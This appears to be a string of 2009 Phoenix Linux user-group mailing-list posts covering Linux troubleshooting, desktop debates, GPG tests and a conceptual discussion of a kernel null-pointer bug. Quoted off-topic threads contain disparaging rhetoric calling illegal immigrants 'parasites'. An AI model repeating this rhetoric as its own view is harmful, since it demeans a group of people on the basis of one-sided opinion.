> not exactly I want to not pay a cell phone provider.
> 
Good luck.. Considering the phone companies lease the space on the 
towers, and there are not any 'free' or government owned towers. Get 
good at wardriving with your 'droid then...

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Re: Fedora rpmbuild direcories

[Ryan Rix]

Lisa Kachold wrote:
>> If you're running a toaster on any of these versions, have you
>> ever run qtp-newmodel successfully? (It will most definitely fail on
>> versions that have changed). I'm wondering most about FC9 and FC8.
> 
> http://wiki.qmailtoaster.com/index.php/QMail-Toaster:FAQ
> 
> I have not run it, but it looks really good.  If you post the failure
> error message (or give me vpn account, I can certainly get her
> working). This is a robust package.
> 

Tch tch. Should've asked for shell, not vpn access That'll never work.


:)

Ryan

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OT Kinda sorta:

[Ryan Rix]

Hi,

Palm webOS Mojo SDK just went public to all developers :)
http://bit.ly/2bR3Hy

Ryan
 
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Re: flash

[Ryan Rix]

Jason Hayes wrote:
> 
> No problems with the official version. I've installed the restricted stuff 
> and 
> the official flash, as well as the swfdec, but still have many pages where 
> the 
> flash components just don't work.
> 
> All I get is blank screen, or a flash component that is blinking through all 
> the possible screens at high speed. Not sure what the issue is.

If you have both, and the swfdec-mozilla package, swfdec may be 
overriding flash-plugin-nonfree. Try going to your addons->plugins and 
disabling swfdec if it was in there.

I was never able to figure out how to get swfdec working with 
youtube/video sight in general. Probably just codecs, but IDk what batch 
to install so gave up and used mplayer script to watch youtube videos.

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Re: ext? as fat or ntfs?

[Ryan Rix]

On Fri 17 July 2009 6:32:17 pm der.hans wrote:
> moin moin,
>
> is it possible to setup a thumb drive with a large
> ext2/ext3/ext4/btrfs/xfs/jfs/reiserfs/whateverfs partition, but in such a
> way that when attached to an m$ box it'll show up as some sort of fat or
> ntfs filesystem? Maybe have a small fat automount partition with samba on
> it that can read and export the free software filesystem?
>
> ciao,
>
> der.hans

If you don't have admin rights, there's no way.
Outside of that, you could, mayhaps, use ext2IFS, with a lot of hacking.

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Re: ext? as fat or ntfs?

[Ryan Rix]

On Fri 17 July 2009 9:26:42 pm Bob Elzer wrote:
> I agree with Ryan, if you want to see an ext2 or ext3 partition on M$, then
> you could have a small fat or ntfs with the ext2IFS
> http://www.fs-driver.org/ on it.
>
> You would have to install the ext2IFS software on each machine you wanted
> to see the partition though.
>
> I do remember way back getting CD's that had M$ and Mac software on them,
> you would only see the stuff for the system you were using. But I'm not
> sure how they did that.
> I think it came with the Jaz or Orb Drives.

Best alternative:
Make it bootable with your favorite GNU/Linux distro on it!

:) 

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Re: ext? as fat or ntfs?

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On Sat 18 July 2009 12:05:51 am der.hans wrote:
> Am 17. Jul, 2009 schwätzte Ryan Rix so:
> > If you don't have admin rights, there's no way.
> > Outside of that, you could, mayhaps, use ext2IFS, with a lot of hacking.
>
> Can ext2ifs be run with autorun or single click type of thing? It requires
> admin access? I hope it does :).

It does. And it's a kmod+reboot type install, iirc.

In general, if you want the ext partition to show up on the system as a 
seperate drive, you will have to install a system module. There's no real way 
around it. and that requires a reboot.

If you are just looking to attach to disk images, you could use explore2ext or 
some similar tool, i forget the name, which is just an explorer-like tool that 
you can attach to ext disk images.

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Debian?

Windows tool calle QemuManager can set up everything in GUI for you, and make 
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Re: Linux Kernel Security (tun/net and Null Pointer Dereferences provide 4 hour encroachment via Script Fuzz)

[Ryan Rix]

On Sun 19 July 2009 10:33:00 am Lisa Kachold wrote:
> This code looks perfectly acceptable, right?  Well, it is, until the
> compiler takes this into its hands. While optimizing the code, the
> compiler will see that the variable has already been assigned and will
> actually remove the if block (the check if tun is NULL) completely
> from the resulting compiled code. In other words, the compiler will
> introduce the vulnerability to the binary code, which didn't exist in
> the source code. This will cause the kernel to try to read/write data
> from 0x, which the attacker can map to userland – and this
> finally pwns the box

No, it reads from (NULL+offsetof(sk))
Doing pointer arithetic on NULL is perfectly legal (but not dereferencing 
NULL), and basically that's what this relies on.
sk = tun->sk;
is the same as writing
sk = *(&tun+offsetof(sk)); // idk what that offset is, let's say it's 42 bytes
which, in the case would be dereferencing (0x+0x0042) which is 
perfectly legal and accessible memory. Therein lies the problem.

Some say it is a problem with the compiler optimisation, some say it's a 
kernel bug. Both should be fixed, imo.

Ryan

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Re: ext? as fat or ntfs?

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Dazed_75 wrote:
> 
> Makes me wonder if anyone has seriously looked into that (again as a
> purely defensive measure).
> 

How can we? Without access to their source code, they have a huge upper 
hand on Free software in this respect. We are 'guilty' of patent 
infringment and copyright law violations if we even attempt to reverse 
or determine how their systems work.

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Re: ext? as fat or ntfs?

[Ryan Rix]

Dazed_75 wrote:
> On Mon, Jul 20, 2009 at 8:57 AM, Ryan Rix  wrote:
> 
>> Dazed_75 wrote:
>>> Makes me wonder if anyone has seriously looked into that (again as a
>>> purely defensive measure).
>>>
>> How can we? Without access to their source code, they have a huge upper
>> hand on Free software in this respect. We are 'guilty' of patent
>> infringment and copyright law violations if we even attempt to reverse
>> or determine how their systems work.
>>
>> Ryan
>>
>> Because software patents (which should not exist) are not about source code
> as copyrights are.  NTL, I was not implying that "we" might have done so as
> much as wondering if anyone had.  I believe m$ has been guilty of both (like
> everyone else per the argument) but like you say the only way anyone gets to
> see their code is not usable to prove they are/were in violation.
> 

It's like the old catch22 laws designed to catch people in possesion of 
marijuana.
"Marijuana is legal as long as you come and buy this license to use it. 
You'll have to show up with the marijuana you want licensed. But, ohbtw, 
if you show up with unlicensed marijuana we're arresting you."
"Oh, the only way to prove we are infringing on patents and copyright is 
to look at our source, but if you look at our source you are infringing 
on our patents and copyright."

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Re: ext? as fat or ntfs?

[Ryan Rix]

Stephen wrote:
> For me with linux/windows i woudl create Fat 32 on volumes 2gb or less
> or ntfs on volumes larger.
> 
> not the best choice but it is the most simple and portable one. fat
> will even allow OSX compatability.
> 
> anything more complicated tar-gzip and a portable version of 7zip or
> winrar if you need to keep complex file structures and permissions.
> 

Right, but ntfs is strictly nonfree. Hans wants to get around ntfs/fat 
in total, at a physcial partition level.

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Re: ext? as fat or ntfs?

[Ryan Rix]

Stephen wrote:
> "they require you to use FAT during setup."
> 
> that is because fat is usable by anyone.  anything more is patented.
> 

FAT is patented too... See, well, this entire thread.

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Re: W side meeting -- tonight

[Ryan Rix]

Mike Schwartz wrote:
> I just talked to my friend Steve Garlick (formerly of ACA, which uses Linux
> a lot, and where we both sat in the same office / big cubicle,
> when we both worked there).
> (plus we both also used to work at Honeywell -- [in different dept.'s]
>  [but, in the same division] ).
> Steve says he is planning to attend tonight's [W side] PLUG meeting.
> See you there!--

Cool, I'm trying to drag someone along, too, though they probably aren't 
a GNU/Linux user (yet!)

And another PLUGer should show up, but he won't make a definite answer 
(I'm looking at you, Tuna!)

I should roll in there around 6:30 to help set up. I will be bringing a 
dlink G router, though I am not sure how well it will really work (if 
one user authenticates with Glibrary, do all users behind the NAT get 
access or is it browser+cookie based auth? I can't really imagine that 
would be so, but afaik, anything goes :)

Ryan

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Re: Ubuntu Desktop locks

[Ryan Rix]

Alexander Henry wrote:
> This has been happening about once a day or every other day.  The 
> desktop simply locks up.  I discover that the cursor doesn't move, then 
> I try alt-tab, ctrl-alt-backspace, ctrl-alt-delete, clrl-alt-F*, 
> nothing.  Have to power cycle to break it.
> 
> Any ideas?  It's a rather hard problem to search for.
> 
> This happened since I upgraded to 9.04
> 

Can you ping/ssh into the box?
If you can ssh in we could get a lot more info on your problem.

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Re: OT: AC/DC adaptors

[Ryan Rix]

Josef Lowder wrote:
> Does an AC/DC adaptor need to be an exact match to be safe and not
> damage electrical equipment?

They're in concert here in a few weeks.

:D
more stupider than usual,
Ryan

> 
> I have several dozen "left-over" AC/DC adaptors, but none exactly
> match a small Radio Shack mixer that is going through 9-volt batteries
> too fast.  And, rather than buying yet another such adaptor, I went
> through my collection of left-overs to see if I could find one to
> match.  Close, but not quite.
> 
> I need a 9v 100 mA adaptor; and in my collection I have one 9v 80 mA
> and one 9v 210 mA.  Could either of those be used safely?
> 
> One says it can be either a 6v 200 mA or a 7.5v 100 mA which leads me
> to think that perhaps there might be some flexibility in this.  I have
> a bunch of 9v at various mA ratings, along with a bunch of 3v, 5v, 6v,
> 8v, 11v, 12v, 15v, 19v at various mA ratings.
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July WSM Minutes

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Hi,

For anyone who missed the meeting, here are the minutes for the July West Side 
meeting:

http://hackersramblings.wordpress.com/2009/07/23/july-plug-wsm-minutes/

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Re: test

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On Sat 25 July 2009 1:52:44 pm Jim wrote:
> test

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Re: ABLEconf mtg tonight at 20:00

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On Sun 26 July 2009 8:09:00 pm Mike Schwartz wrote:
> Thanks ... but I just chatted there (using http://www.mibbit.com/chat/ )and
> there does not seem to be anyone home, there:
> see this copy/paste:
> <<
> 20:00*** Mike_Schwartz joined #ABLEconf <http://www.mibbit.com/chat/#>20:00
> Mike_SchwartzHi 20:02Mike_Schwartzaccording to
> http://lists.plug.phoenix.az.us/lurker/message/20090726.222833.3ae8ec79.en.
>html("ABLEconf mtg tonight at 20:00") the chatting is [/chatting folks are]
> supposed to start abuot now -- (right?)
>
> Could it be due to the "mixed case" I used for the channel?
> (" #ABLEconf  ")?
> thanks,

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Re: 1984 George Orwell and the Kindle

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Bryan O'Neal wrote:
> I fully understand why Amazon took this action, however I choose not to
> allow it by not owning a kindle. In other words, you all may be screwed but
> I never had a telascreen installed in my apartment ;)
> 

Amazon Swindle FTL :<

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Re: Hard drive Crash?

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mike Enriquez wrote:
> More info:
> 1. the hard drive is running 
> 2. no post
> 3. it just stopped working.
> 4. if connected to another computer I can see my files.
> 5. It makes a little noise but nothing happens.
> I would like to be able to run some software on it and check it out and
> if I have to in the future recovery my files if I lose the ability to
> access my files by connecting to another computer. 
> Thanks.
> Mike
> \

For your own sake, make that backup now. In my experience, by the time 
you realize the drive is failing completely it will be too late to do 
anything without, as you said, unnecessary expenses.

This issue sounds more like a problem with your mobo/cables, as it only 
happens on that computer.

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Re: Can Macbook dual-boot with Linux?

[Ryan Rix]

Stephen wrote:
> Yes it can however you need to be really careful with partitioning and
> use bootcamp and ref-it to make it go around nicely
> 
> this also kind of means your cramming your whole install into a single
> parition rather than being able to make a swap/boot/root gracefully.

EFI disklabels ftw, right? right? :D?

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Re: July WSM Minutes

[Ryan Rix]

On Tue 28 July 2009 1:09:40 pm Matthew A Coulliette wrote:
> Hi Ryan,
>
> Yeah, very cool! Well done. You even spelled my name correctly! MatthewMPP
>

Hi,

I stole it from your email headers when I wrote it. 
:)

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Re: July WSM Minutes

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On Tue 28 July 2009 10:13:31 pm Austin William Wright wrote:
> For the record, Songbird is only a fork of Firefox, it is an independent
> project by "Pioneers of the Inevitable" (I recall the name being
> different a while ago, Songbird foundation maybe, idk).

Thanks Austin, I've fixed the blog entry!

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Re: Is there an ntop virus for Linux?

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Mark Phillips wrote:
> Whenever I start my Debian Lenny testing laptop a process called ntop starts
> and quickly consumes 99% of my cpu. If I kill the process, nothing happens.
> If I run ntop from the command line, it does what the man page says it does,
> and hardly consumes any resources at all. There is an ntop in /etc/init.d/,
> and when I run /etc/init.s/ntop it consumes very few resources - the script
> calls /usr/sbin/ntop. There are no entries in the /var/log/ntop/access.log
> file.
> 
> My questions are:
> 
> Do I have a virus masquerading as ntop, and if so how do I remove it? I
> googled "linux ntop virus" and did not come up with anything useful.
> 
> Can I just remove ntop from /etc/init.d/ ?
> 
> How do I find out if another startup program needs ntop?
> 
> Is ntop necessary at startup?
> 

Are you monitoring your network usage?
if not, probably safe to remove the /etc/rc.d/ hooks for it for the 
runlevel you are booting into.

/etc/rc.d/rc5/XX-ntop <-- look for something like that if you are 
booting into runlevel 5 (full desktop)

all in all, removing init.d scripts is a bad idea.

If the init scripts in debian use LSB, the headers will tell you which 
(if any) require ntop.

Does ps -aux list any options for ntop when it's run from init?

Ryan

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Re: Is there an ntop virus for Linux?

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Mark Phillips wrote:
> On Wed, Jul 29, 2009 at 9:40 AM, Ryan Rix  wrote:
> 
>> Mark Phillips wrote:
>>> Whenever I start my Debian Lenny testing laptop a process called ntop
>> starts
>>> and quickly consumes 99% of my cpu. If I kill the process, nothing
>> happens.
>>> If I run ntop from the command line, it does what the man page says it
>> does,
>>> and hardly consumes any resources at all. There is an ntop in
>> /etc/init.d/,
>>> and when I run /etc/init.s/ntop it consumes very few resources - the
>> script
>>> calls /usr/sbin/ntop. There are no entries in the
>> /var/log/ntop/access.log
>>> file.
>>>
>>> My questions are:
>>>
>>> Do I have a virus masquerading as ntop, and if so how do I remove it? I
>>> googled "linux ntop virus" and did not come up with anything useful.
>>>
>>> Can I just remove ntop from /etc/init.d/ ?
>>>
>>> How do I find out if another startup program needs ntop?
>>>
>>> Is ntop necessary at startup?
>>>
>> Are you monitoring your network usage?
>> if not, probably safe to remove the /etc/rc.d/ hooks for it for the
>> runlevel you are booting into.
>>
>> /etc/rc.d/rc5/XX-ntop <-- look for something like that if you are
>> booting into runlevel 5 (full desktop)
>>
>> all in all, removing init.d scripts is a bad idea.
>>
>> If the init scripts in debian use LSB, the headers will tell you which
>> (if any) require ntop.
>>
>> Does ps -aux list any options for ntop when it's run from init?
>>
>> Ryan
> 
> 
> Ryan,
> 
> I am not monitoring network usage. This weird behavior just started a week
> or so ago.
> 
> Here is what ps says when I start ntop:
> 
> narwhale:/home/mark# ps aux | grep ntop
> ntop 10943  4.5  2.6 197824 27136 ?Ssl  09:49   0:00
> /usr/sbin/ntop -d -L -u ntop -P /var/lib/ntop --access-log-file
> /var/log/ntop/access.log -i eth0,eth1 -p /etc/ntop/protocol.list -O
> /var/log/ntop

sounds like it's just running as a standard daemon

> 
> I ran grep -nr "ntop" /etc/init.d and all references to ntop are from the
> ntop script, so I assume none of the other init.d scripts are calling ntop.
> 
> Any other thoughts, or should I just disable ntop from init.d:
> 
> update-rc.d -f  ntop remove

If you know you don't need it and know how to bring it back if it breaks 
something, feel free :)

> 
> Mark
> 
> P.S. Since I started ntop to check the output from ps, I let it run. And
> sure enough, after a few minutes, the fan started blowing hard and CPU usage
> went over 90% for ntop. Now I am really confusedI guess the real
> question is why do I need ntop to start my laptop?
>

Running a firewall perhaps with some autoblocking doohicky? I have no 
idea...

Ryan

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Re: BAD kubuntu

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On Wed 29 July 2009 9:17:59 pm Trent Shipley wrote:
> I've been running Kubuntu on my desktop for a while now.  Since the upgrade
> to 9.04 it has worked really well.  Today the update program said the
> kernel had to be updated for security reasons, so I updated.  Now the @#$%
> computer won't finish booting.  This has happened before -- frequently. 
> Until now I have been lucky and some old kernel known to GRUB would boot. 
> Not this time.  I have a perfectly good /home directory that I cant get to.
>  When this has happened before I've tried burning an Ubuntu install DVD. 
> That won't work.  The install DVD naturally has the latest kernel so it
> won't boot my Dell desktop either.
>
> I am annoyed with Kubuntu.  I used SuSE before Ubuntu.  Who wants to
> recommend a good desktop distro for someone who thinks WIMP interfaces are
> a great advance over the command line?  I prefer KDE to Gnome, but it's not
> a big deal either way.

Fedora11 KDE :) I just upgraded my system to 4.3rc using kde-redhat.sf.net and 
LOVE it even more :)

Ryan

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Re: guess what....

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On Wed 29 July 2009 10:33:29 pm Lyle Tuttle wrote:
> At 08:00 PM 7/29/2009, you wrote:
> >I moved here and the illegal alien problem doesn't seem to be a
> >problem. I had forgotten about it! Almost everyone here is an alien
> >of some sort (legal or not).
>
> Perhaps you are looking at the wrong source.we now have a $3
> Billion deficit.check out these numbers in bold blue.


And here we have it, the rare but savage introduction to a PLUG-discuss 
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The male begins with its mating call, usually in the form of an on topic, but 
political, reply to a message on the mailing list. The message would be one 
that half of the pack's males would agree on and half would disagree on. 
Naturally the dominant males in the group will take to bellowing and fighting 
until the maelstrom finally subsides.

These events are rare occurences in such a group, but a splendid site to see 
when they do occur. Oh, crikey, here it comes! We best make way back to the 
lorry and find another less rambuctious group of listers.


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Re: BAD kubuntu

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On Thu 30 July 2009 12:17:40 am Michael Butash wrote:
> but I've heard not
> much has changed.

You've heard wrong. KDE4.3 will be just as mature as 3.5 and with a hell of a 
lot more features and future.

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Re: guess what....

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On Thu 30 July 2009 1:11:21 am mike havens wrote:
> I think we were all agreeing I was just commenting to the fact that the
> illegal alien problem is not as front-n-center as it is in AZ. Sorry for
> any confusion.

See, I told you :)

>
> 2009/7/30 Ryan Rix 
>
> > On Wed 29 July 2009 10:33:29 pm Lyle Tuttle wrote:
> > > At 08:00 PM 7/29/2009, you wrote:
> > > >I moved here and the illegal alien problem doesn't seem to be a
> > > >problem. I had forgotten about it! Almost everyone here is an alien
> > > >of some sort (legal or not).
> > >
> > > Perhaps you are looking at the wrong source.we now have a $3
> > > Billion deficit.check out these numbers in bold blue.
> >
> > 
> > And here we have it, the rare but savage introduction to a PLUG-discuss
> > political maelstrom. Look at the size of its horns, oh what a beauty.
> >
> > The male begins with its mating call, usually in the form of an on topic,
> > but
> > political, reply to a message on the mailing list. The message would be
> > one that half of the pack's males would agree on and half would disagree
> > on. Naturally the dominant males in the group will take to bellowing and
> > fighting
> > until the maelstrom finally subsides.
> >
> > These events are rare occurences in such a group, but a splendid site to
> > see
> > when they do occur. Oh, crikey, here it comes! We best make way back to
> > the lorry and find another less rambuctious group of listers.
> > 
> >
> > ;D Ryan
> > (ps, my .sig fortune is really good today)
> >
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> >-- Jesper Lauridsen  from
> > alt.religion.emacs
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Re: Microsoft Submits Code to Linux Kernel - Linus Responds

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On Thu 30 July 2009 6:35:02 am James Finstrom wrote:
> Would be funny if it got rejected for not meeting coding standards.
>
> On 7/30/09, Lisa Kachold  wrote:
> > http://www.linux-mag.com/cache/7439/1.html

My 0.02$ http://hackersramblings.wordpress.com/2009/07/24/microsoft-
contributes-to-the-linux-kernel-or-what-shines-isnt-always-gold/

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Re: guess what....

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Lyle Tuttle wrote:
> At 03:03 AM 7/30/2009, you wrote:
>> I think we were all agreeing I was just commenting to the fact 
>> that the illegal alien problem is not as front-n-center as it is in 
>> AZ. Sorry for any confusion.
> 
> Sorry - that was only supposed to go to the poster
> 

I've done that before :)
It makes things somewhat more interesting :)

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Re: Kmail or Evolution?

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mike Enriquez wrote:
> Which of these email clients do you like (Kmail or Evolution); and why?
> Please reply so I can see which one of these is the most used. I will
> gladly foward the results to the group. 

Hi,

The entire KDEPIM suite is simply stellar. I use all of them at once 
through Kontact.

KMail supports all of the major mail protocols, even groupware, and 
disconnected IMAP (which I havent had the chance to really try yet)

Kabc is a really powerful address book with tight integration between 
kmail and korganizer.

Korganizer is an awesome todo list/journal/calendar which allows you to 
do all sorts of interesting things (such as read blog posts as calendar 
entries, load external iCal webdav and groupware resources)

Akregator is an awesome RSS reader.

KarmTracker for those of you who need to keep track of time working on a 
project/work

Tie all of that into a nice little wrapper, with a summary page, and to 
the awesome backend that is akonadi -- i know some people will complain 
that you have to tie your desktop to a mysql server, but that is trivial 
and I think the KDE boys are working on moving to sqlite or something 
less, well, huge -- and you have yourself an AWESOME PIM suite.

The impressions I got when trying to use Evolution was that it did too 
much to emulate Outlook, giving me the impression that it was simply 
designed as a stepping stone for Microsoft users into Free software...

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Re: Politcal OT (beware!): ****Re: guess what....

[Ryan Rix]

On Thu 30 July 2009 9:32:57 am Joshua Zeidner wrote:
> On Thu, Jul 30, 2009 at 7:21 AM, Craig White wrote:
> > On Thu, 2009-07-30 at 06:43 -0700, JD Austin wrote:
> >> I was waiting to see how long until racism was called :)
> >> It is a fact that illegal immigration is costing Az and Ca plenty and
> >> pointing that out doesn't make him hate filled or racist.  I don't
> >> blame them for coming here... If I were them I'd do it too.  We need
> >> to remove the 'free' incentives that we can no longer afford to
> >> provide.  They're not the only demographic freeloading services;
> >> plenty of Americans game the system (generations!) to get a free ride
> >> too.
> >
> > 
> > first off, the topic of racism, state budgetary issues have no purpose
> > for this list
> >
> > secondly, this was blatant scapegoating...blaming the economic problems
> > on a particular issue - if you are not smart enough to deduce that the
> > issues the state is currently facing on budgetary shortfalls has nothing
> > to do with undocumented residents then there really isn't any point in a
> > debate on any other list as well and it obviously isn't worth debating
> > here. There's no reason whatsoever to debate the
> > worthiness/unworthiness, the reasons or the issues of Mexicans in this
> > country on this list.
> >
> > I didn't suggest racism...I suggested narrow political commentary being
> > offered as fact.
>
> "I find it offensive in every way that first JMZ linked the racist
> article and now you found it worthy to paste."  -you, about 3 posts ago
>
>   do you even think about what you're writing?
>
>   btw- I agree with JD.  Playing the 'racism' card in typical boomer
> fashion only serves to short-circuit a very important debate.  We need
> to examine our priorities here.  Were going to drastically cut
> education, even sell off the state senate building instead of cutting
> services to non-americans?  Hiding behind the ghost of Martin Luther
> King is not going to fix the problem.  Pretending this is not a
> problem may buy us a few years- let me guess... just long enough for
> Craig to ride out retirement?

There, I just had to take care of something.

Okay NOW feel free.

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Re: Kmail or Evolution?

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Nathan England wrote:
> 
> I have in the past setup a gmail account and used disconnected IMAP 
 > with gmail and still was able to use my calendar information, which
 > gmail automatically picked up on though I never had to set anything
 > up.

orly?? details? +_+ That looks like fun. I kinda figured gmail didn't 
support groupware.

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Re: ****Re: guess what....

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Eric Cope wrote:
> This is the first time I agree with Craig (for the most part).
> Perhaps if immigration weren't illegal...
> 

Immigration is legal. As long as you do it through the normal means and 
don't steal a real American's identity to do it.
Illegal immigration is just that, illegal.

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Mail issues? (Was: Re: guess what....)

[Ryan Rix]

Bob Elzer wrote:
> Is it me, or is Ryan sending empty messages every once in a while ?
> 
> Or am I missing something, this is the second one in this thread ???
>  

afaik, NOT!

I'm signing my messages using gpg on KMail, but most of these messages 
are coming from my work copy of Thunderbird.
Of course kgpg is broken right now... h... >_>

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GPG test? Does this show up?

[Ryan Rix]

Hi,

Testing one two three?

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Re: guess what....

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Bob Elzer wrote:
> Is it me, or is Ryan sending empty messages every once in a while ?
> 
> Or am I missing something, this is the second one in this thread ???
>  

Both signed (KMail) and unsigned (Thunderbird) messages are working here...

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Re: guess what....

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Bob Elzer wrote:
> Is it me, or is Ryan sending empty messages every once in a while ?
> 
> Or am I missing something, this is the second one in this thread ???
>  
Apparently my signature key was not on keyservers, and kgpg had 
magically forgotten about it. Generating a new one.
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YAGPGT (Yet another GPG test)

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Hi,

Sorry for crapping up the list. I've just uploaded a new key, which should 
hopefully make it to the list. It's on wwwkeys.pgp.net so hopefully will 
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Re: ****Re: guess what....

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mike havens wrote:
> I think it's because she sympathizes with the aliens.
> 

I think it's because she smashed the stack on gained admin access on 
their boxen.

> On Thu, Jul 30, 2009 at 3:19 PM, Joshua Zeidner  wrote:
> 
>>  why do you think it is they gave Napolitano her new job?
>>
>> On Thu, Jul 30, 2009 at 12:16 PM, James
>> Finstrom wrote:
>>> It seems the security holes in the border were not from bad policy.
>>> This whole time they were running windows... Redmond says we should
>>> see patches shortly...
>>>
>>> On 7/30/09, Joshua Zeidner  wrote:
   Thanks Keith.  I am standing right behind you.

   -jmz

 On Thu, Jul 30, 2009 at 11:08 AM, keith smith
>> wrote:
>
> Interesting.  What is on topic?  Seems most everything is off topic
>> these
> days.
>
> I received a ticket the other day for running a red light. 213 dollars
>> and
> 1/2 a day in class and I am on my way.  No lenience for me. Seems I
>> broke
> the law.  I understand the system.
>
> If someone jumps our border fence and enters the USA illegally that is
>> an
> illegal act.  Plain and simple.
>
> What do you think would happen if I jumped the fence and traveled South
> into Mexico.  I suspect I might be beaten and jailed.
>
> We are a sovereign nation.  I grew up on the border and saw the effects
>> of
> the illegal population during my time as a police officer.
>
> The main stream media does not tell you the whole truth, nor does
>> Obama.
> If this problem persists it will cost us all a lot of money.
>
> These are not our people (illegal aliens).  They need to be returned to
> their country. If they do not like what is going on in Mexico then they
> need to make some changes just as some of us are trying to return our
> country to it's rightful place as a constitutional country that is
>> free.
> Very few people understand the sacrifices of our founding fathers.
>>  They
> gave their all so we could be free.  Today many people through out the
>> US
> are fighting for our freedom.  So how can I respect someone that comes
>> to
> my country to be a parasite? They need to return to their own country
>> and
> build an economy, not leach of of ours.
>
> Because I hold the law to be supreme I am called a racist. Call me what
> you may.  At the end of the day I am just an American who believes in
>> our
> find country based on the rule of law and who is willing to stand up
>> for
> freedom.
>
> 
> Keith Smith
>
>
> --- On Thu, 7/30/09, Craig White  wrote:
>
>> From: Craig White 
>> Subject: Re: Re: guess what
>> To: "Main PLUG discussion list" <
>> plug-discuss@lists.plug.phoenix.az.us>
>> Date: Thursday, July 30, 2009, 6:27 AM
>> On Wed, 2009-07-29 at 22:33 -0700,
>> Lyle Tuttle wrote:
>>> Perhaps you are looking at the wrong source.we now
>> have a $3
>>> Billion deficit.check out these numbers in bold
>> blue.
>> 
>> every state has a major deficit as they clearly were
>> unprepared for such
>> a drastic change in the economy.
>>
>> I find it offensive in every way that first JMZ linked the
>> racist
>> article and now you found it worthy to paste. The article
>> is not a news
>> story but rather an opinion piece and not really suitable
>> for this list.
>>
>> That anyone should scapegoat any group of people (not once
>> but many
>> times) for causing this economic downturn is stupid. This
>> is a bitter,
>> hate filled person and his comments have no place on this
>> list.
>>
>> Craig
>>
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Re: Kmail or Evolution?

[Ryan Rix]

Francis Earl wrote:
> On Thu, 2009-07-30 at 07:08 -0700, mike Enriquez wrote:
>> Which of these email clients do you like (Kmail or Evolution); and why?
> 
> I personally prefer Evolution for a few different reasons, amongst them,
> calendar and contacts import more easily from Google sites. Also, one
> thing that is seriously annoying about using Kmail is the fact you can't
> view the next message easily from the one you're currently reading - you
> have to close one mail window, find where you're at in your list of
> e-mails, and then open the next one.

KMail can present the same list on top-mail on bottom interface that 
most other clients can...
And even if they couldn't, god invented the keyboard and shortcuts for a 
reason ;)

Also, judging by what Nathan said, KMail can do import, too, super 
easily (my DIMAP is still pulling my mail so I can't check)

> 
> I do like the presentation of Kmail - especially in 4.2 - though. The
> default interface, grouping by date and more graphically structured is
> definitely nice to look at. Evolution simply provides more useful
> features, and despite not being as nice to look at, is just more
> complete and ready for my needs.
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Zii?

[Ryan Rix]

Hi,

Has anyone ever heard of this thing?
http://www.zii.com

apparently, it's God in mobile hardware form, but it just screams 
vapourware to me...

Anyone with another opinion?

Ryan

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Re: GPG test? Does this show up?

[Ryan Rix]

Dazed_75 wrote:
> yep mit does
> 

Thanks :)

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Re: BAD kubuntu

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http://www.redsevenlinux.com/

On 7/31/09, tship...@deru.com  wrote:
> I tried to boot from a Fedora 11 live cd, but the boot quit part way
> through.  (The initial [GRUB?] splash screen comes up.)  Is there a shop in
> town that works with Linux? I live near ASU West.
>
>
> Sent from my BlackBerry Smartphone provided by Alltel
>
> -Original Message-
> From: Lisa Kachold 
>
> Date: Thu, 30 Jul 2009 06:17:06
> To: Main PLUG discussion list
> Subject: Re: BAD kubuntu
>
>
> Boot to live CD/DVD
>
> # tail /var/log/messages
> # dmesg |more
>
> highlight/copy/drop to email for us?
>
>
> On 7/30/09, Ryan Rix  wrote:
>> On Thu 30 July 2009 12:17:40 am Michael Butash wrote:
>>> but I've heard not
>>> much has changed.
>>
>> You've heard wrong. KDE4.3 will be just as mature as 3.5 and with a hell
>> of
>> a
>> lot more features and future.
>>
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Re: BAD kubuntu

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On 7/31/09, Joshua Zeidner  wrote:
>   I switched from Kubuntu to Ubuntu... Ubuntu is more solid.
>
>   -jmz

I don't get that at all, from the
internal-x-won't-start-kernel-problem-ohnoes standpoint this thread is
about, given that kubuntu == ubuntu + apt-get install kubuntu-desktop.

And for that matter, since the last time you probably tried was when
KDE4 was still in its use and thus NATURALLY less stable than GNOME.

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Re: BAD kubuntu

[Ryan Rix]

And the developer zeal of KDE and the future sustainability of its
tech is much higher.  KDE is a desktop designed with the future in
mind, whereas GNOME is designed to introduce new users to GNU/Linux
and provide a simple, deathly easy to use desktop.

KDE has akonadi, nepomuk, strigi, plasma GNOME has a largely
Python based interface that has, in my experience seemed dull and
introductory at best, nothing like KDE. Ever since the first time I
used KDE (Knoppix livecd running 3.5.4(?)

On 7/31/09, Joshua Zeidner  wrote:
> On Fri, Jul 31, 2009 at 5:13 PM, Ryan Rix wrote:
>> On 7/31/09, Joshua Zeidner  wrote:
>>>   I switched from Kubuntu to Ubuntu... Ubuntu is more solid.
>>>
>>>   -jmz
>>
>> I don't get that at all, from the
>> internal-x-won't-start-kernel-problem-ohnoes standpoint this thread is
>> about, given that kubuntu == ubuntu + apt-get install kubuntu-desktop.
>>
>> And for that matter, since the last time you probably tried was when
>> KDE4 was still in its use and thus NATURALLY less stable than GNOME.
>
>   I would think that Ubuntu will continue to be more stable than
> Kubuntu as the difference is user base is quite drastic.
>
>   -jmz
>
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Re: BAD kubuntu

[Ryan Rix]

Besides the DE itself you simply cannot compare KUbuntu and Ubuntu --
they are identical.
GNOME may be more 'stable' but when you think about it, products like
RHEl are stable too. That doesn't necessarily make it better. The
developer zeal of KDE and the future sustainability of its tech is
much higher than GNOME's.  KDE is a desktop designed with the future
in mind, whereas GNOME is designed to introduce new users to GNU/Linux
and provide a simple, deathly easy to use desktop.

KDE has akonadi, nepomuk, strigi, plasma GNOME has a largely
Python based interface that has, in my experience seemed dull and
introductory at best, nothing like KDE. Ever since the first time I
used KDE (Knoppix livecd running 3.5.4(not sure about that minor?))
and have always found it easier to use and more intuitive than GNOME.
Even KDE4 in its infancy just 'made sense' even though it was a little
less stable.

Ryan

On 7/31/09, Joshua Zeidner  wrote:
> On Fri, Jul 31, 2009 at 5:13 PM, Ryan Rix wrote:
>> On 7/31/09, Joshua Zeidner  wrote:
>>>   I switched from Kubuntu to Ubuntu... Ubuntu is more solid.
>>>
>>>   -jmz
>>
>> I don't get that at all, from the
>> internal-x-won't-start-kernel-problem-ohnoes standpoint this thread is
>> about, given that kubuntu == ubuntu + apt-get install kubuntu-desktop.
>>
>> And for that matter, since the last time you probably tried was when
>> KDE4 was still in its use and thus NATURALLY less stable than GNOME.
>
>   I would think that Ubuntu will continue to be more stable than
> Kubuntu as the difference is user base is quite drastic.
>
>   -jmz
>
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Re: BAD kubuntu

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On 7/31/09, Joshua Zeidner  wrote:
> On Fri, Jul 31, 2009 at 5:55 PM, Ryan Rix wrote:
>> And the developer zeal of KDE and the future sustainability of its
